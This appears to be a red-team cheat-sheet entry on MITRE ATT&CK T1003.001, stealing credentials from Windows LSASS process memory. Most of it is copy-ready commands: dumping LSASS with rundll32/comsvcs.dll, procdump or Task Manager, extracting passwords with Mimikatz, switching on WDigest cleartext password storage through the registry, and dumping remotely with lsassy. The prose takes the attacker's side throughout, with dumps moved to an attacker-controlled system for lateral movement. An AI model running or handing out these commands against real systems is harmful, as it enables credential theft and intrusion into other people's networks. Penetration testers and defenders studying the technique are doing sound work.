LSASS Memory

ATT&CK ID: T1003.001

Permissions Required: Administrator | SYSTEM


Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.



# Get lsass.exe PID
tasklist /fi "Imagename eq lsass.exe"

# Call comsvcs.dll and dump to file.
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\lsass_dump.dmp full

# Dump with Mimikatz
Invoke-Mimikatz -Command "sekurlsa::Minidump lsass_dump.dmp"
Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"


Invoke-Mimikatz -DumpCreds



.\procdump.exe -accepteula -ma lsass.exe lsass_dump

Mimikatz can then be used to pull information from the lsass_dump.dmp file.

Invoke-Mimikatz -Command "sekurlsa::Minidump lsass_dump.dmp"
Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"

Dumping cleartext credentials

The storage mechanism used by WDigest stores passwords in clear text in memory. If an adversary gains access to a system , they can utilize tools like Mimikatz and Lsassy to retrieve not only the password hashes stored in memory, but also the actual passwords in clear text

As a consequence, the attacker would not be restricted to only Pass-the-Hash methods of lateral movement, but could potentially gain access to other resources such as Exchange, internal websites, and any other systems that require a user ID and password for authentication.

# CMD (Enable), Requires user to log off/on or lock screen to store in cleartext
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# CMD (Disable), System reboot required to complete
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
# Mimikatz (Everything)
Invoke-Mimikatz -DumpCreds
# Mimikatx (Just WDigest)
Invoke-Mimikatz -Command '"sekurlsa::wdigest"'

# Lsassy
lsassy -u '[User]' -p '[Password]' -d '[Domain]' '[Target-IP]' --users --exec smb

Task Manager / RDP

With Administrative RDP or interactive logon it is possible to create a dump file from Lsass.exe using Task Manger.

Lsass.exe -> Right Click -> Create Dump File

Use Mimikatz to read the dump file after transfering the file to an attacker controlled system

Invoke-Mimikatz -Command "sekurlsa::Minidump lsass.DMP"
Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"

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